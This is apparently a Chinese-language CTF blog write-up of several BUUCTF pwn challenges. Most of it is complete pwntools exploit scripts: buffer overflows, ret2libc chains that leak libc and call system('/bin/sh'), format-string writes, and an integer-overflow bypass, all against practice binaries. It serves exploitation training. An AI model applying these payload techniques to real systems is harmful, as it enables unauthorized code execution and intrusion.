buuctf wp

try_your_nc

from pwn import *
from sys import *
debug=1

if debug:
    p=remote("node3.buuoj.cn",26062)
else:
    p=process("xxx")

p.interactive()

pwn1_sctf_2016

C++ 寫的，害，輸入I，會轉換為you，是以有溢出啊，還有後面函數

from pwn import *
from sys import *

debug=1
context.log_level='debug'
context.arch='amd64'

if debug:
    p=process("./pwn1_sctf_2016")

else:
    host = "node3.buuoj.cn"
    port = 28912
    p=remote(host, port)

door = 0x8048f0d
pay =20*"I"+"aaaa"+p32(door)
gdb.attach(p,"b *0x80491DE")

p.sendline(pay)

p.interactive()

ciscn_2019_n_1 浮點數檢視

from pwn import *
from sys import *

debug=0

context.log_level='debug'
context.arch='amd64'


if debug:
    p=process("./ciscn_2019_n_1")

else:
    host = "node3.buuoj.cn"
    port =29648
    p=remote(host, port)


pay = p64(0)*4+p32(0)*3+p64(0x41348000)
#gdb.attach(p,"b *0x80491DE")

p.sendline(pay)

p.interactive()

ciscn_2019_c_1

洩露打system 需要進行一個棧對齊，不能打onegadget

from pwn import *
from sys import *

debug=0

context.log_level='debug'
context.arch='amd64'


if debug:
    p=process("./ciscn_2019_c_1")

else:
    host = "node3.buuoj.cn"
    port =25934
    p=remote(host, port)

pop_rdi_t=0x400c83
put_got = 0x602020
put_plt = 0x4006E0
main= 0x400B28
pay = "a"*0x58 + p64(pop_rdi_t)+p64(put_got)+p64(put_plt)+p64(main)
#gdb.attach(p)

p.recvuntil("Input your choice!\n")
p.sendline(str(1))
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(pay)
put_add = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) 
base = put_add-0x0809c0
one = base  +  0x4526a#0xf1147#0x45216#,0x4526a#0xf02a4#

print "put:"+hex(put_add)
print "base:"+hex(base)

str_bin = base+0x1b3e9a#0x18cd57
system = base + 0x04f440#0x045390
ret = 0x4006b9  # ubuntu 18  需要進行一個棧調試，因為在調用system的時候需要進行棧對齊
pay = "a"*0x58 +p64(ret)+ p64(pop_rdi_t)+p64(str_bin)+p64(system)

p.recvuntil("Input your choice!\n")
p.sendline(str(1))
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(pay)

p.interactive()

babyrop

這個題的關鍵在于繞過strncmp，strlen函數遇到‘\0’截斷，但read 函數遇到‘\n’才截斷，然後read函數有一個溢出可以把v5覆寫掉，v5 傳回到main函數，可以控制另一個函數溢出。

nt __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);                     // 溢出到v5
  buf[v6 - 1] = 0;
  v1 = strlen(buf);                             // 讓strlen(buf) 為0
  if ( strncmp(buf, &s, v1) )                   // 讀入到buf
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;

ssize_t __cdecl sub_80487D0(char a1) 這個a1 就是傳回的V5了
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if ( a1 == '' )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);                 // 溢出
  return result;
}

比較操蛋的是運程的 lib庫，一定要遠端去查。

from pwn import *
from sys import *

debug=0

context.log_level='debug'
context.arch='amd64'


if debug:
    p=process("./babyrop")

else:
    host = "node3.buuoj.cn"
    port =27828
    p=remote(host, port)

libc = ELF('./libc6_2.23-0ubuntu10_i386.so') #不是這個庫，别瞎搞
#gdb.attach(p)
put_plt = 0x8048548
put_got = 0x8049FD4

main = 0x8048825
pay = "\x00"+"\xff"*8
p.sendline(pay)
p.recvuntil("Correct\n")
pay = 0xe7 *"a"+ "aaaa"+p32(put_plt)+p32(main)+p32(put_got)
p.sendline(pay)

put_add =u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
base =  put_add -0x05f140# libc.symbols["puts"]#0x05fca0
print "put:"+hex(put_add)
print "base:"+hex(base)

pay = "\x00"+"\xff"*8
p.sendline(pay)

str_bin = base +0x15902b# libc.search("/bin/sh").next()#0x15ba0b
system = base + 0x03a940#libc.symbols["system"]#0x03ada0
one = base+0x5fbc6#0x5fbc5#0x3ac69#0x3ac62#0x3ac5e #0x3ac5c#   
pay = 0xe7 *"a"+ "aaaa"+p32(system)+p32(0xbeeefff)+p32(str_bin)
#pay = 0xe7 *"a"+ "aaaa"+p32(one)
p.sendline(pay)
#input()
p.interactive()

ciscn_2019_en_2

和ciscn_2019_c_1 一模一樣

from pwn import *
from sys import *

debug=0

context.log_level='debug'
context.arch='amd64'


if debug:
    p=process("./ciscn_2019_en_2")

else:
    host = "node3.buuoj.cn"
    port =27611
    p=remote(host, port)

pop_rdi_t=0x400c83
put_got = 0x602020
put_plt = 0x4006E0
main= 0x400B28
pay = "a"*0x58 + p64(pop_rdi_t)+p64(put_got)+p64(put_plt)+p64(main)
#gdb.attach(p)

p.recvuntil("Input your choice!\n")
p.sendline(str(1))
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(pay)
put_add = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) 
base = put_add-0x0809c0
one = base  + 0x10a38c#0x4f322#0x4f2c5# 0x4526a#0xf1147#0x45216#,0x4526a#0xf02a4#

print "put:"+hex(put_add)
print "base:"+hex(base)

str_bin = base+0x1b3e9a#0x18cd57
system = base + 0x04f440#0x045390
ret = 0x4006b9  # ubuntu 18  zhan tiao zheng
pay = "a"*0x58 +p64(ret)+ p64(pop_rdi_t)+p64(str_bin)+p64(system)
#pay = "a"*0x58 +p64(ret)+ p64(one)
p.recvuntil("Input your choice!\n")
p.sendline(str(1))
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(pay)
p.interactive()

get_started_3dsctf_2016

溢出，後面函數，需要注意的是參數要傳對，才能執行後門函數

void __cdecl get_flag(int a1, int a2)
{
  int v2; // eax
  int v3; // esi
  unsigned __int8 v4; // al
  int v5; // ecx
  unsigned __int8 v6; // al

  if ( a1 == 0x308CD64F && a2 == 0x195719D1 )  // 這裡的 就是兩個參數的值要傳對啊，不對就廢了
  {
    v2 = fopen("flag.txt", "rt");
    v3 = v2;
    v4 = getc(v2);
    if ( v4 != '\xFF' )
    {
      v5 = (char)v4;
      do
      {
        putchar(v5);
        v6 = getc(v3);
        v5 = (char)v6;
      }
      while ( v6 != 255 );
    }
    fclose(v3);
  }
}

exp

#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from sys import *
from struct import pack
debug=0

context.log_level='debug'
context.arch='i386'

if debug:
    o=process("./get")
    gdb.attach(o,"b *0x8048A3B")
else:
    host = "node3.buuoj.cn"
    port =26456
    o=remote(host, port)

ret = 0x8048A40
flag = 0x80489A0
p = 'a'* 56+p32(ret)+p32(flag)+p32(0x804e6a0)+p32(0x308CD64F)+p32(0x195719D1)
o.sendline(p)
o.interactive()

PWN5

繞過if 條件，格式化字元串可寫，修改unk_804C044内容即可

srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &unk_804C044, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == unk_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }

這道題可以收獲的是32位格式化寫的時候，payload的構造

p32(add1)+p32(add2)+p32（add3）+"%10$hn%11$hn%12$hn" #hn是雙位元組寫
如果是特定字元寫的話，就要巧妙的構造了,比如
p32（add）+"%"+str(xxxxx)+"c%xx$hn"

p32(0x804C044)+p32(0x804C044+2)+"%10$hn" +"%11$hn" #hn是雙位元組寫

#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from sys import *
from struct import pack
debug=0

context.log_level='debug'
context.arch='i386'

if debug:
    o=process("./pwn5")
    gdb.attach(o,"b *0x080492A6")
else:
    host = "node3.buuoj.cn"
    port =28330
    o=remote(host, port)

pay =  p32(0x804C044)+p32(0x804C044+2)+"%10$hn" +"%11$hn" #hn是雙位元組寫
o.sendlineafter("your name:",pay)
pa = p32(0x80008)
o.sendlineafter("your passwd:","524296")
o.interactive()

r2t3

這 tm 有後門函數我沒看到。。。wc

整數溢出其實很簡單，但是我竟然搞了很久。。wotm 我太菜了

from pwn import *
from sys import *
from struct import pack
debug=0

context.log_level='debug'
context.arch='i386'
libc = ELF('./libc-2.29.so')
if debug:
    o=process("./r2t3")
    gdb.attach(o,"b *0x8048615")
else:
    host = "node3.buuoj.cn"
    port =27787
    o=remote(host, port)

pay = 'a'*17+'aaaa'+p32(0x804858B)+p32(0x804858B)+p32(0x804858B)*58
o.sendlineafter("your name:\n",pay)
o.interactive()

繞過strlen 檢查，strlen傳回值存在eax 但用的隻有al

.text:080485E1                 call    _strlen
.text:080485E6                 add     esp, 10h
.text:080485E9                 mov     [ebp+var_9], al

ciscn_2019_n_8

__isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 0x11LL )
      system("/bin/sh");

#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from sys import *
from struct import pack
debug=0

context.log_level='debug'
context.arch='i386'

if debug:
    o=process("./ciscn_2019_n_8")
    gdb.attach(o)
else:
    host = "node3.buuoj.cn"
    port =26224
    o=remote(host, port)

pay = p32(0x11)*14
o.sendlineafter("What's your name?",pay)
o.interactive()

幾道buuctf pwn wpbuuctf wp

buuctf wp

try_your_nc

pwn1_sctf_2016

ciscn_2019_n_1 浮點數檢視

ciscn_2019_c_1

babyrop

ciscn_2019_en_2

get_started_3dsctf_2016

PWN5

r2t3

ciscn_2019_n_8

繼續閱讀

使用Docker進行Pwn題環境部署使用Docker進行Pwn題環境部署Pwn部署架構國賽Pwn之一

攻防世界PWN之dubblesort題解dubblesort

how2heap（4）：tcache_house_of_spirit 2.31tcache_house_of_spirit 2.31

【pwn基礎】mallopt

PWN學習總結（三）—— BROP

pwn學習總結（五） —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

pwn 暑假複習一

pwn1及ROP總結

pwn之pwn-1001.題目2.思路

（補題）HITCON 2018 PWN baby_tcache超詳細講解前言HITCON 2018 PWN baby_tcache

數組下标越界

PWN學習記錄

WMCTF 2021 pwn Azly複現

how2heap（5）：tcache_poisoning 2.31tcache_poisoning 2.31

【BUUCTF】bjdctf_2020_babystack2

CTF之堆溢出-unlink原理探究